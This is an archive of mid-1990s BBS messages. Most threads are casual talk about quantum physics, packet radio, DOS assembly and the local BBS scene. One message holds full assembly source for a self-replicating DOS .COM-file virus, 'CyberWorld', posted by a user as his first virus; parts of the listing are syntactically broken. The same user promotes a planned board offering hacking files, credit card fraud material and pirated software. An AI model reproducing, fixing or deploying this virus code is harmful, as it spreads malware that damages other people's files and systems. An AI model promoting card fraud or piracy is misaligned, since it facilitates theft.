------------------------------------------------------------------------------- From: DAEDALUS RISING To: All Subject: Cyberspace Date: Mon Jun 13 17:29:15 CDT 1994 Message number: 1 Reply to message number: unavailable This is a base for the discussion of science and technology ... from the Internet to the miracle of modern interactive bingo. ------------------------------------------------------------------------------- From: DARKSHINE To: Froggy Subject: Re: Quantum Pigs Date: Mon Aug 19 23:01:04 CDT 1996 Message number: 2 Reply to message number: -5 F> Enter the new-ager -- how do you define "observation?" Does this I would think that any method leading to an accurate conclusion concerning the cat's wellbeing would be considered observation. |05 . ś . ś . |05 ®(š=-Darkshine-=š)Æ |05 ł . ł . ł ------------------------------------------------------------------------------- From: DARKSHINE To: Froggy And All Subject: psychic cats Date: Mon Aug 19 23:07:39 CDT 1996 Message number: 3 Reply to message number: unavailable I just had a thought. What if divinitive phenomenon were a detection of quantum probability. That would explain why no psychic seems to be perfect. Thus in the cat experiment there should be a 50-50 split in the psychic feeling of varoius people, some detecting dead, other live. |05 . ś . ś . |05 ®(š=-Darkshine-=š)Æ |05 ł . ł . ł ------------------------------------------------------------------------------- From: FROGGY To: Darkshine Subject: Re: psychic cats Date: Tue Aug 20 02:40:50 CDT 1996 Message number: 4 Reply to message number: 3 D> I just had a thought. What if divinitive phenomenon were a detection of D> quantum probability. That would explain why no psychic seems to be perfect. D> Thus in the cat experiment there should be a 50-50 split in the psychic D> feeling of varoius people, some detecting dead, other live. D> I think that this may be at work, but so is something else. Most good psychics have about a 70% accuracy rate. It does interest me though that people want to disclaim things because they can't measure 100%, as though this is really realistic. ------------------------------------------------------------------------------- From: SPECTER To: Darkshine Subject: Re: Quantum Pigs Date: Tue Aug 20 04:17:43 CDT 1996 Message number: 5 Reply to message number: 1 S> Does that sound about right Darkshine? D> D> Fortunately your memory is much more accurate on the subject than mine. D> Probably because most of my studying was done half asleep the day before my D> paper was due. (: Well that would make it a little more difficult to remember. I hate writing last minute papers... never enough time to sleep afterwards... Specter -May benevolence and reason shelter you. ------------------------------------------------------------------------------- From: STARFIRE To: Darkshine Subject: Re: psychic cats Date: Wed Aug 21 19:32:35 CDT 1996 Message number: 6 Reply to message number: 3 D> Thus in the cat experiment there should be a 50-50 split in the psychic D> feeling of varoius people, some detecting dead, other live. With this quantum theory we would have to assume that since we have no proof of a higher being s/he has a 50/50 chance of being alive? ------------------------------------------------------------------------------- From: DARKSHINE To: Starfire Subject: Re: psychic cats Date: Wed Aug 21 22:15:35 CDT 1996 Message number: 7 Reply to message number: 6 S> With this quantum theory we would have to assume that since we have no proof S> of a higher being s/he has a 50/50 chance of being alive? I don't think QM would hold any jurisdiction over higher beings. In fact Einstein opposed Quantum Theory because he felt that lack of certainty negated God's omniscience. "God doesn't roll dice," he said. |05 . ś . ś . |05 ®(š=-Darkshine-=š)Æ |05 ł . ł . ł ------------------------------------------------------------------------------- From: SPECTER To: Darkshine Subject: Re: psychic cats Date: Thu Aug 22 05:20:22 CDT 1996 Message number: 8 Reply to message number: 7 S> With this quantum theory we would have to assume that since we have no proof S> of a higher being s/he has a 50/50 chance of being alive? D> D> I don't think QM would hold any jurisdiction over higher beings. In fac D> Einstein opposed Quantum Theory because he felt that lack of certainty negat D> God's omniscience. "God doesn't roll dice," he said. I'll try to say two things at once To starfire: No the quantum theory like Darkshine said would have little or no hold over a higher being. Quantum theory is based around probability. It would be hard if not impossible to work out a probability wave set for a higher being. There are too many variables and no way of quantifying most of them. Plus the entity either exists or it doesn't. But even though there are only two options the way the probabilities would be nowhere near 50-50. it's complicated. I couldn't explain it without a lot of time to think first. A quantum physicist might be able to. To Darkshine: Of course Einstein eventually gave up a belief in a higher being though it still didn't change his opposition to quantum physics, of which many principles are almost without opposition. His theorizing wasn't necessarily flawless. ------------------------------------------------------------------------------- From: DARKSHINE To: Specter Subject: Re: psychic cats Date: Thu Aug 22 23:39:37 CDT 1996 Message number: 9 Reply to message number: 8 S> To Darkshine: Of course Einstein eventually gave up a belief in a higher S> being though it still didn't change his opposition to quantum physics, of S> which many principles are almost without opposition. His theorizing wasn't S> necessarily flawless. Are you familiar with... Shit. I forget what it's called, but it was a theory Einstein and two colleages came up with. It didn't disprove QM, but it found a loophole in the Heisenburg uncertainty principal. |05 . ś . ś . |05 ®(š=-Darkshine-=š)Æ |05 ł . ł . ł ------------------------------------------------------------------------------- From: SPECTER To: Darkshine Subject: Re: psychic cats Date: Fri Aug 23 04:45:10 CDT 1996 Message number: 10 Reply to message number: 9 D> Are you familiar with... Shit. I forget what it's called, but it was a D> theory Einstein and two colleages came up with. It didn't disprove QM, but D> found a loophole in the Heisenburg uncertainty principal. I'm somewhat familiar with several such theories. Could you explain the one you're speaking of. I've always found the Heisenberg uncertainty principal vaguely interesting. A loophole makes it even more complex and through that even more interesting. Specter -May benevolence and reasons shelter you. ------------------------------------------------------------------------------- From: DARKSHINE To: Specter Subject: Re: psychic cats Date: Wed Aug 28 21:20:35 CDT 1996 Message number: 11 Reply to message number: 10 S> I'm somewhat familiar with several such theories. Could you explain the one S> you're speaking of. I've always found the Heisenberg uncertainty principal S> vaguely interesting. A loophole makes it even more complex and through that S> even more interesting. Gee. It was named the E** theory I believe, the *'s being the initials of the two others involved. It went somewhat like this... If two particles interact somehow they become corellated, meaning that you can calculate things about one based on the other. Say you do this. Then after they've both flown off doing their own thing you measure the momentum of one. Then you measure the position of the other. Through some funky math and such this would allow you to find out both the momentum and position of each particle. Again, my memory is spotty but I think this is how it went. |05 . ś . ś . |05 ®(š=-Darkshine-=š)Æ |05 ł . ł . ł ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Darkshine Subject: Re: psychic cats Date: Sun Sep 01 17:08:58 CDT 1996 Message number: 12 Reply to message number: 11 D> Gee. It was named the E** theory I believe, the *'s being the initials D> the two others involved. It went somewhat like this... It's known as EPR, Einstein-Polodsky-Rosen (the spelling is most definately off on the second one). D> If two particles interact somehow they become corellated, meaning that y D> can calculate things about one based on the other. Say you do this. Then D> after they've both flown off doing their own thing you measure the momentum D> one. Then you measure the position of the other. Through some funky math a D> such this would allow you to find out both the momentum and position of each D> particle. What EPR purports to show is that either Heisenberg's uncertainty principle, and thus quantum physics, is wrong - or that action-at-a-distance and travel faster than the speed of light is possible. More specifically, either the particles can both be measured accurately (in which case quantum physics is wrong), or when one particle is measured the other is `bumped' so that quantum randomness is maintained. This `bump', however, destroys any ideas of local causality ... which is something most physicists are very loath to do. ------------------------------------------------------------------------------- From: SPECTER To: Darkshine Subject: Re: psychic cats Date: Mon Sep 02 16:41:49 CDT 1996 Message number: 13 Reply to message number: 11 D> Gee. It was named the E** theory I believe, the *'s being the initials D> the two others involved. It went somewhat like this... D> If two particles interact somehow they become corellated, meaning that y D> can calculate things about one based on the other. Say you do this. Then D> after they've both flown off doing their own thing you measure the momentum D> one. Then you measure the position of the other. Through some funky math a D> such this would allow you to find out both the momentum and position of each D> particle. D> Again, my memory is spotty but I think this is how it went. Yeah that's exactly how it went. It's one of my favorite loopholes. I'll have to find it, but in one of the quantum physics books I was reading they had an answer to that loophole. Something to do with the effect of measuring the forces affecting the outcomes and such that made the loophole null or something to that effect. I can't quite remember what it was. I go back to school the 3rd as most high school students do. I'll look it up in the book as soon as I get a chance and write it up here. Specter -May benevolence and reason shelter you. ------------------------------------------------------------------------------- From: SPECTER To: Daedalus Rising Subject: Re: psychic cats Date: Mon Sep 02 16:45:06 CDT 1996 Message number: 14 Reply to message number: 12 DR> More specifically, either the particles can both be measured accurately (i DR> which case quantum physics is wrong), or when one particle is measured the DR> other is `bumped' so that quantum randomness is maintained. This `bump', DR> however, destroys any ideas of local causality ... which is something most DR> physicists are very loath to do. Darkshine, I see Daedalus Rising beat me to the explanation of what I was talking about. I guess I won't need to look it up. Thank you Daedalus Rising. Specter -May benevolence and reason shelter you. ------------------------------------------------------------------------------- From: FATAL ERROR To: All Subject: FM Date: Fri Dec 13 17:57:14 CST 1996 Message number: 15 Reply to message number: unavailable Hey do you suppose it would be possible to somehow communicate via modem over a FM trans.? Think about it if both people had one they might be able to set them up somehow to communicate... This is just mindless babble to get people posting... ------------------------------------------------------------------------------- From: BIG TEEBO To: Fatal Error Subject: Re: FM Date: Sat Dec 14 02:53:01 CST 1996 Message number: 16 Reply to message number: 15 FE> Hey do you suppose it would be possible to somehow communicate via modem ov FE> a FM trans.? Think about it if both people had one they might be able to se FE> them up somehow to communicate... This is just mindless babble to get peopl You already can actually, it's called Packet Radio. It typically has a maximum of 9600 baud however, and of course anybody can intercept or alter your transmission.. *teebo ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Big Teebo Subject: Re: FM Date: Sat Dec 14 07:03:51 CST 1996 Message number: 17 Reply to message number: 16 FE> Hey do you suppose it would be possible to somehow communicate via modem ov FE> a FM trans.? Think about it if both people had one they might be able to se FE> them up somehow to communicate... This is just mindless babble to get peopl BT> You already can actually, it's called Packet Radio. It typically has a BT> maximum of 9600 baud however, and of course anybody can intercept or alter BT> your transmission.. Not only that, but you have to get FCC permission if your transceiver is above a certain power level, and that renders you vulnerable to all the weird and wacky telecommunications rules that help make the broadcast media so bland. There's some neat stuff you could do, but it definitely isn't worth the hassle. ------------------------------------------------------------------------------- From: FATAL ERROR To: Big Teebo Subject: Re: FM Date: Sat Dec 14 16:36:38 CST 1996 Message number: 18 Reply to message number: 16 I would think it would be incredibly difficult to altar a radio communication like that... If it pushed in 1 string .12923982318941232 seconds too early it would knock the modem off... Anyways.. I finally got mine put together and everything set up... Its a great lil bug... ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: BIG TEEBO Subject: Re: FM Date: Mon Dec 16 10:34:31 CST 1996 Message number: 19 Reply to message number: unavailable -=> Quoting Big Teebo to Fatal Error <=- FE> Hey do you suppose it would be possible to somehow communicate via modem FE> a FM trans.? Think about it if both people had one they might be able to FE> them up somehow to communicate... This is just mindless babble to get peo BT> You already can actually, it's called Packet Radio. It typically has BT> a maximum of 9600 baud however, and of course anybody can intercept or BT> alter your transmission.. Do you know much about packet radio? I read just a little bit about it quite a while back, and it intrigued me, but it seems to be kind of a hard hobby to get into. Also, do you know if the radios cost very much? And while I'm on the topic, I wonder if there are any internet -> packet radio gateways. Gosh, modern Pump Up the Volume. ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: FATAL ERROR Subject: Re: FM Date: Mon Dec 16 10:34:32 CST 1996 Message number: 20 Reply to message number: unavailable -=> Quoting Fatal Error to Big Teebo <=- FE> I would think it would be incredibly difficult to altar a radio FE> communication like that... If it pushed in 1 string .12923982318941232 FE> seconds too early it would knock the modem off... Anyways.. I finally FE> got mine put together and everything set up... Its a great lil bug... Do you mean you actually succeeded in making something like that? If so, have you tried it? I'd like to try and make one of those, but I don't have the electronics knowledge at all. It seems kind of strange that even though computers are electronic (really!), it's almost impossible to find basic schematics or FAQs on the net. Irony . ... invis: http://www.visi.com/~invis ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: FATAL ERROR To: The Invisible Man Subject: Re: FM Date: Mon Dec 16 11:53:50 CST 1996 Message number: 21 Reply to message number: 20 Well I have done half of it... I built a FM radio transmitter (I use it as a bug) but the thing is lat time I checked I think you could only legally transmit like .5 a watt... That isnt very good distance... Thats only like 200 yards (obstructed) a bit farther if it was unobstructed... I think I could do what I was talking about if I could just find someone who lived near me and had a computer... I live in Chaska... But I dont go to school here so Im kinda outta luck! ------------------------------------------------------------------------------- From: BIG TEEBO To: Dave The Lucky Subject: Re: FM Date: Mon Dec 16 12:03:57 CST 1996 Message number: 22 Reply to message number: 17 DT> Not only that, but you have to get FCC permission if your transceiver is DT> above a certain power level, and that renders you vulnerable to all the wei DT> and wacky telecommunications rules that help make the broadcast media so DT> bland. There's some neat stuff you could do, but it definitely isn't worth DT> the hassle. That's why you need a Ham radio license, and only broadcast on the Ham radio bands, silly. *teebo ------------------------------------------------------------------------------- From: BIG TEEBO To: The Invisible Man Subject: Re: FM Date: Mon Dec 16 14:43:22 CST 1996 Message number: 23 Reply to message number: 19 TI> Do you know much about packet radio? I read just a little bit about TI> it quite a while back, and it intrigued me, but it seems to be kind of a TI> hard hobby to get into. Also, do you know if the radios cost very much? TI> And while I'm on the topic, I wonder if there are any internet -> packet ra TI> gateways. Gosh, modern Pump Up the Volume. Not really, that's still limited to pirate radio. :) Point your browser here: , the packet radio network.. *teebo ------------------------------------------------------------------------------- From: REV. THORN To: The Invisible Man Subject: Re: FM Date: Tue Dec 17 09:24:52 CST 1996 Message number: 24 Reply to message number: 19 TI> Do you know much about packet radio? I read just a little bit about TI> it quite a while back, and it intrigued me, but it seems to be kind of a TI> hard hobby to get into. Also, do you know if the radios cost very much? TI> And while I'm on the topic, I wonder if there are any internet -> packet ra TI> gateways. Gosh, modern Pump Up the Volume. I know that some ham radio bbs used to have a BBS > packet dealie, but I don't remember the name... I think the number was something like 426-0000 (?). but one had to be a licensed amateur radio operator to use it... hmm. I know there are internet -> normal ham radio repeater gateways, so I would assume it's only a little while before someone sets up a packet gateway, but I would assume you'd have to be a ham and all... ahh! the glories of being the son of an amataur radio guy. aaron ------------------------------------------------------------------------------- From: STARFIRE To: Dave The Lucky Subject: Re: FM Date: Thu Dec 19 10:43:21 CST 1996 Message number: 25 Reply to message number: 17 DT> Not only that, but you have to get FCC permission if your transceiver is DT> above a certain power level, and that renders you vulnerable to all the wei DT> and wacky telecommunications rules that help make the broadcast media so DT> bland. There's some neat stuff you could do, but it definitely isn't worth DT> the hassle. I have all of the hardware to brodcast a small radio station from my basement. I have kind of looked into it but without repeaters I would not be able to reach more that a block or so. ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: Rev. Thorn Subject: Re: FM Date: Fri Dec 20 13:22:37 CST 1996 Message number: 26 Reply to message number: 24 RT> I know there are internet -> normal ham radio repeater gateways, so I would RT> assume it's only a little while before someone sets up a packet gateway, bu RT> would assume you'd have to be a ham and all... Ok, I'm unlicensed, so there's a big problem with that. I think it would be neat to chekc out some of the gateways anyways. All of that equipment seems sooo expensive though (>50$ = expensive). Who knows, I bet I can get lucky at a garage sale or surplus store though. ------------------------------------------------------------------------------- From: FATAL ERROR To: All Subject: Virus Date: Thu Dec 19 14:22:42 CST 1996 Message number: 27 Reply to message number: unavailable I was kinda wondering what the view here was on viruses n' stuff... I think that people here (the ones I have talked to anyways) have fairly good views on things... What do you all think about viruses? Is it fair to say viruses are okay to send them through pirated software? Should the writers be drug out and shot? Just wondering... AND Do you think the scene around here has died? It seems where I came from a ton more people were involved in the underground philez and stuff... I don't think I have lost my edge so I am assuming that there is little activity... This should keep us all writing for a long time... heheheh MERRY CHRISTMAS d00ds! ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: FATAL ERROR Subject: Virus Date: Sat Dec 21 13:55:43 CST 1996 Message number: 28 Reply to message number: unavailable -=> Quoting Fatal Error to All <=- FE> I was kinda wondering what the view here was on viruses n' stuff... I FE> think that people here (the ones I have talked to anyways) have fairly FE> good views on things... What do you all think about viruses? Is it fair FE> to say viruses are okay to send them through pirated software? Should FE> the writers be drug out and shot? Just wondering... It all depends upon what you mean. I think that viruses are great tools for learning assembly (creative asm at that), and learning about the inner workings of your computer. If you are talking about spreading viruses to others, I think that it's terribly irresponsible. By no means is it ok to send virii through pirated software either, nobody deserves to get their HD formatted. Also, as an itersting side note, I see a lot of people who want compiled viruses. This I don't understand, IMHO if you are smart enough to compile the ASM source and make sure it works, then you deserve to play with viruses. FE> Do you think the scene around here has died? It seems where I came FE> from a ton more people were involved in the underground philez and FE> stuff... I don't think I have lost my edge so I am assuming that there FE> is little activity... This should keep us all writing for a long FE> time... heheheh MERRY CHRISTMAS d00ds! Where did you come from (Which boards)? I haven't really seen you around anywhere, as far as I can remember. Most of that is gone now, with people either going to college, getting high paying programming jobs, or just migrating to the internet. I have noticed there are a few new renegade boards though, so it is possible there will be a new scene created, but also wouldn't get my hopes up too high. But hey, no time to complain, throw a BBS or inet site up. invis. ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: FATAL ERROR To: The Invisible Man Subject: Re: Virus Date: Sat Dec 21 15:08:02 CST 1996 Message number: 29 Reply to message number: 27 TI> Where did you come from (Which boards)? I haven't really seen you TI> around anywhere, as far as I can remember. Most of that is gone now, with TI> people either going to college, getting high paying programming jobs, or TI> just migrating to the internet. I have noticed there are a few new renegade TI> boards though, so it is possible there will be a new scene created, but als TI> wouldn't get my hopes up too high. But hey, no time to complain, throw a TI> BBS or inet site up. Hey I was thinking about putting up a bbs... Is everyone around here (this bbs) trustworthy? I have been writing .ASM for a little bit... I wrote a virus for fun... It was a bad idea if I had thought about releasing it... I never did... I dont know why... I just had more fun writing them and playing with them... I never did upload any I did learn a great deal from writing them... Tell me what you think of this: ; This code is for informational purposes only and the author will not be ; held responsable for the misuse of this file... FATAL ERROR .model tiny .code org 0100h start: jmp cyberworld: mov ah,09h int 21h mov ax,4c00h int 21h message db ' CyberWorld: By Fatal Error',13,10,'$' cyberworld: pushf push ax push bx push cx pushdx push ds push es push si call initworld initworld: pop si cls push cs pop ds push cs pop es mov di,0100h push si add si,original-selfpoint mov cx,3 rep movsb pop si mov ah,1ah mov dx,si add dx,si add dx,virusDTA-Selfpoint int 21h mov ah,4eh mov dx,si add dx,fileMask-Selfpoint mov cx,32 int 21h jnc Repeatopen jmp outvirus RepeatOpen: mov ax,3D02h mov dx,si add dx,NameF-Selfpoint int 21h jc outvirus mov bx,ax ah,3Fh mov dx,si add dx,Original-Selfpoint mov cx,3 int 21h jc outvirus push bx mov bx,dx cmp byte ptr [bx],'0' pop bx je CloseNotInfect mov ax,4202h xor cx,cx xor dx,dx int 21h jc outvirus push ax mov ah,40h mov dx,si sub dx,SelfPoint-CyberWorld mov cx,VirusEnd-CyberWorld int 21h pop ax jc outvirus sub ax,3 push bx mov bx,si sub bx,SelfPoint-CyberWorld mov word ptr cs:[bx+1],ax mov byte ptr [bx],'0' pop bx mov ax,4200h xor cx,cx xor dx,dx int 21h jc Outvirus mov ah,40h mov dx,si sub dx,SelfPoint-CyberWorld cx,3 int 21h jc OutVirus mov ah,3Eh int 21h jmp OutVirus CloseNotInfect: mov ah,3Eh int 21h mov dx,si add dx,FileMask-Selfpoint ah,4Fh int 21h jc OutVirus jmp RepeatOpen OutVirus: pop si pop es pop ds pop dx pop cx pop bx pop ax popf mov si,0100h push si ret VirusDTA db 30 dup (0) NameF db 13 dup (0) FileMask db '*.cOm',(0) Original: mov dx,offset Message VirusEnd: end start I dont know exactly if this works or not cause i have not compiled it... I need to get a freeware .ASM assembler... Tell me what you think of that one... Remember it WAS my first! ------------------------------------------------------------------------------- From: NINFAN To: Fatal Error Subject: Re: Virus Date: Sun Dec 22 05:08:39 CST 1996 Message number: 30 Reply to message number: 22 I have only done a litle bit of assembly programing, you seem to know a lot. Do you know where I might find a book or somthing that explains all the interupts? I'v been keeping my eyes open but it seems asm programing is not as common as it used to be. Once I made an asm program and all it did was TSR, over and over again until it took up all my memory. It somehow changed the time to 99:99:99! I fixed that problem though. ------------------------------------------------------------------------------- From: BIG TEEBO To: Fatal Error Subject: Re: Virus Date: Sun Dec 22 07:56:21 CST 1996 Message number: 31 Reply to message number: 5 FE> I was kinda wondering what the view here was on viruses n' stuff... I think FE> that people here (the ones I have talked to anyways) have fairly good views FE> things... What do you all think about viruses? Is it fair to say viruses ar What do you mean? It's like having an opinion on air. Are you asking if anybody here voluntarily trashes their computer at regular intervals? FE> more people were involved in the underground philez and stuff... I don't th FE> I have lost my edge so I am assuming that there is little activity... This How do you know you have an "edge" at all? *teebo ------------------------------------------------------------------------------- From: FATAL ERROR To: Ninfan Subject: Re: Virus Date: Sun Dec 22 11:46:43 CST 1996 Message number: 32 Reply to message number: 30 N> I have only done a litle bit of assembly programing, you seem to know a lot. N> Do you know where I might find a book or somthing that explains all the N> interupts? I'v been keeping my eyes open but it seems asm programing is not N> common as it used to be. I will have ALL well over 1 meg of assembly int. on my bbs this summer... You must apply for access to area 51 though ------------------------------------------------------------------------------- From: FATAL ERROR To: Big Teebo Subject: Re: Virus Date: Sun Dec 22 11:47:38 CST 1996 Message number: 33 Reply to message number: 31 BT> How do you know you have an "edge" at all? Because I have never had a problem getting warez... Or anything else I need... I still got it... ------------------------------------------------------------------------------- From: NINFAN To: Fatal Error Subject: Re: Virus Date: Sun Dec 22 14:46:07 CST 1996 Message number: 34 Reply to message number: 32 FE> FE> I will have ALL well over 1 meg of assembly int. on my bbs this summer... Y FE> must apply for access to area 51 though Is area 51 a BBS then? If so, what is the number? I have a freind who has a book that has quite a bit of the interupts, but it is like 10 or more years old. Thanks. ------------------------------------------------------------------------------- From: FATAL ERROR To: Ninfan Subject: Re: Virus Date: Sun Dec 22 17:39:42 CST 1996 Message number: 35 Reply to message number: 34 N> Is area 51 a BBS then? If so, what is the number? I have a freind who has N> book that has quite a bit of the interupts, but it is like 10 or more years N> old. Im not real sure how accurate your friends book is when that book was written i was like 4 years old... hehehe I was writing in Basic at the time Area 51 is the bbs I plan on putting up this summer... A lot of hack philez and crdit card stuff like that... Here is a quick rundown... 10+ gig files 24/7 103 doors 3 nodes 100% FREEEEEEEE Elite only The board will not be advertised at all but I will for sure welcome all users here that are members... I have a kewl ANSI logon screen but if you know any good artists that would make some .ANS files for it I would be more then happy to allow them access... ------------------------------------------------------------------------------- From: NINFAN To: Fatal Error Subject: Re: Virus Date: Mon Dec 23 08:20:16 CST 1996 Message number: 36 Reply to message number: 35 FE> Area 51 is the bbs I plan on putting up this summer... A lot of hack philez FE> and crdit card stuff like that... Here is a quick rundown... FE> FE> 10+ gig files 24/7 FE> 103 doors FE> 3 nodes FE> 100% FREEEEEEEE FE> Elite only FE> FE> The board will not be advertised at all but I will for sure welcome all use FE> here that are members... I have a kewl ANSI logon screen but if you know an Cool. I didn't know peple still made BBSs like that. I have a kewl GIF picture of Area 51. That might be just a neat thing for you to have around if you get around to doing that. ------------------------------------------------------------------------------- From: NINFAN To: All Subject: Easy program Date: Mon Dec 23 08:22:46 CST 1996 Message number: 37 Reply to message number: unavailable This is a realy easy program to make in assembly. It lets you have a mouse in dos. That's all it does though, nothig special, but it is neat. Mov ax,0000 Int 33 Mov ax,0001 Int 33 Mov ah,4c int 21 ------------------------------------------------------------------------------- From: DEVIOUS To: Ninfan Subject: Re: Virus Date: Mon Dec 23 10:53:29 CST 1996 Message number: 38 Reply to message number: 36 N> Cool. I didn't know peple still made BBSs like that. N> I have a kewl GIF picture of Area 51. That might be just a neat thing for yo N> to have around if you get around to doing that. hehe. I will trade ya, call me board, dragon's lair, witche's place, I would LOVE to trade. :) Considering, well, I don't wanna say to EVERYONE :) ------------------------------------------------------------------------------- From: FATAL ERROR To: Ninfan Subject: Re: Virus Date: Mon Dec 23 16:12:33 CST 1996 Message number: 39 Reply to message number: 36 N> I have a kewl GIF picture of Area 51. That might be just a neat thing for yo I was just looking for one! Thats great.. attach it to a message for me and if its good you got yourself some access.. ------------------------------------------------------------------------------- From: DAEDALUS RISING To: THE INVISIBLE MAN Subject: Re: web zhit Date: Mon Dec 23 18:38:50 CST 1996 Message number: 40 Reply to message number: unavailable -=> Quoting The Invisible Man : TIM> ... invis: http://www.visi.com/~invis Hey, welcome back. I have a web site now too, just revised the visuals late last night ... if I keep it up, I might actually be satisfied with it someday. Of the people on the board, only Spectre and Starfox have left me feedback on it. At any rate, the address is: http://www.hamline.edu/~erschime ___ Blue Wave/QWK v2.12 ------------------------------------------------------------------------------- From: DAEDALUS RISING To: FATAL ERROR Subject: Re: Virus Date: Mon Dec 23 18:38:51 CST 1996 Message number: 41 Reply to message number: unavailable -=> Quoting Fatal Error : FE> I was kinda wondering what the view here was on viruses n' stuff... I FE> think that people here (the ones I have talked to anyways) have fairly FE> good views on things... What do you all think about viruses? Is it fair FE> to say viruses are okay to send them through pirated software? Should FE> the writers be drug out and shot? Just wondering... I just ran into a virus on my new laptop which also infected the desktop I was setting up for my dad ... it was easy to clean the laptop, but I had to reformat the drive on the desktop (long story, the drive was too large for the BIOS to recognize and I couldn't boot from a clean disk *and* clean the hard drive at the same time because of it). Its set me back a couple of hours, which was a total pain in the ass. So, what do I think of viruses? Annoying as fuck, they ruin things and give nothing back in return. The author can't even have the benefit of knowing when and how often they work, so it's not even a good practical joke (usually). FE> Do you think the scene around here has died? It seems where I came FE> from a ton more people were involved in the underground philez and FE> stuff... I don't think I have lost my edge so I am assuming that there FE> is little activity... This should keep us all writing for a long FE> time... heheheh MERRY CHRISTMAS d00ds! The scene around here is dead, has been for a few years ... there's some lingering activity of course, but most of them are people caught in their own little cliques. ... The best defense against logic is stupidity. ___ Blue Wave/QWK v2.12 ------------------------------------------------------------------------------- From: FATAL ERROR To: Daedalus Rising Subject: Re: Virus Date: Tue Dec 24 06:17:36 CST 1996 Message number: 42 Reply to message number: 41 DR> knowing when and how often they work, so it's not even a good practical Actully there is a virus (ill have to get the name) that send a message to a bbs message area network... So that author does know... ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Daedalus Rising Subject: Rumors of my death... Date: Tue Dec 24 16:33:24 CST 1996 Message number: 43 Reply to message number: 41 DR> The scene around here is dead, has been for a few years ... there's DR> some lingering activity of course, but most of them are people caught in DR> their own little cliques. I'll take your use of "most" as excluding me; I don't have internet access, and even if I did, I would prefer BBSes. Sure, it's fun to meet people from other places, but: 1) How much do you really have in common with these people, and 2) How often can you find them again once you've decided you like them? These problems don't exist on BBSes. As for the "scene" being dead, perhaps I'm just too new to realize that the current flurry of activity I'm seeing is merely a transitory thing that will die away quickly. ------------------------------------------------------------------------------- From: NINFAN To: Devious Subject: Re: Virus Date: Wed Dec 25 17:47:01 CST 1996 Message number: 44 Reply to message number: 38 D> hehe. I will trade ya, call me board, dragon's lair, witche's place, I would D> LOVE to trade. :) Considering, well, I don't wanna say to EVERYONE :) Ok, It's not the clearest picture I should say first, it's just cool. Do U have a # then? See ya. ------------------------------------------------------------------------------- From: NINFAN To: Fatal Error Subject: Re: Virus Date: Wed Dec 25 17:48:34 CST 1996 Message number: 45 Reply to message number: 39 FE> I was just looking for one! Thats great.. attach it to a message for me and FE> its good you got yourself some access.. Should I upload it in the file area so everyone could have it? ------------------------------------------------------------------------------- From: DEVIOUS To: Fatal Error Subject: Re: Virus Date: Wed Dec 25 22:18:43 CST 1996 Message number: 46 Reply to message number: 35 FE> 10+ gig files 24/7 FE> 103 doors FE> 3 nodes FE> 100% FREEEEEEEE FE> Elite only Shit people, this cosys is not lying, damn, he has ahelluvalot of stuff, and hey, Fatal, man contact me, gotta show you the ad for the board, remember NO giving out our numbers :) --- Origin: Fuckfiend's Palace of Pleasures and Wonders (13:666/fuckme) ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: FATAL ERROR Subject: Re: Virus Date: Thu Dec 26 04:07:23 CST 1996 Message number: 47 Reply to message number: unavailable -=> Quoting Fatal Error to The Invisible Man <=- FE> Hey I was thinking about putting up a bbs... Is everyone around here FE> (this bbs) trustworthy? This is Dissent, of course. FE> I dont know exactly if this works or not cause i have not compiled FE> it... I need to get a freeware .ASM assembler... Tell me what you FE> think of that one... Remember it WAS my first! I'll take a look at it for you, and see if it compiles, but sorry, I have no desire to infect myself with it :). Where did you learn ASM? ... invis: http://www.visi.com/~invis ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: DAEDALUS RISING Subject: Re: web zhit Date: Thu Dec 26 04:07:24 CST 1996 Message number: 48 Reply to message number: unavailable -=> Quoting Daedalus Rising to The Invisible Man <=- -=> Quoting The Invisible Man : DR> Hey, welcome back. I have a web site now too, just revised the DR> visuals late last night ... if I keep it up, I might actually be DR> satisfied with it someday. Of the people on the board, only Spectre and DR> Starfox have left me feedback on it. At any rate, the address is: DR> http://www.hamline.edu/~erschime Hopefully I'll stay awhile this time around :). I think I'll work on my homepage as well today. I've only had 13 hits on it (all from me as far as I know), but I also don't advertise too much. ... invis: http://www.visi.com/~invis ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: THE INVISIBLE MAN To: NINFAN Subject: Re: Virus Date: Thu Dec 26 04:07:25 CST 1996 Message number: 49 Reply to message number: unavailable -=> Quoting Ninfan to Fatal Error <=- Ni> I have only done a litle bit of assembly programing, you seem to know Ni> a lot. Do you know where I might find a book or somthing that explains Ni> all the interupts? I'v been keeping my eyes open but it seems asm Ni> programing is not as common as it used to be. Ralph Brown's interrupt list (inter51x.zip). I'll UL it, it's really handy. ... invis: http://www.visi.com/~invis ___ Blue Wave/QWK v2.20 [NR] ------------------------------------------------------------------------------- From: NINFAN To: The Invisible Man Subject: Re: Virus Date: Thu Dec 26 07:15:20 CST 1996 Message number: 50 Reply to message number: 49 TI> Ralph Brown's interrupt list (inter51x.zip). I'll UL it, it's TI> really handy. Ok, thanks. Stuff like that is hard to come by... ------------------------------------------------------------------------------- From: BIG TEEBO To: Ninfan Subject: Re: Easy program Date: Fri Dec 27 17:22:37 CST 1996 Message number: 51 Reply to message number: 37 N> Mov ax,0000 N> Int 33 N> Mov ax,0001 N> Int 33 N> Mov ah,4c N> int 21 Comment lately? :) The int 33 is what? And the mov ah,4c? *teebo ------------------------------------------------------------------------------- From: DAEDALUS RISING To: Dave The Lucky Subject: Re: Rumors of my death... Date: Sat Dec 28 16:10:08 CST 1996 Message number: 52 Reply to message number: 43 DT> I'll take your use of "most" as excluding me; I don't have internet access, DT> and even if I did, I would prefer BBSes. Sure, it's fun to meet people fro The internet is exce;;ent for what it is ... you can find almost anything on there provided you know where to look, and have a few hours to waste. But as for interacting with people, it is a lot less impersonal. Along those lines, I used to have some user registry stuff setup on the board here where you could "finger" other users, but it never worked out too well (Renegade has terrible scripting and infoforms). Never was able to find a decent door either, which would make it easier to get to 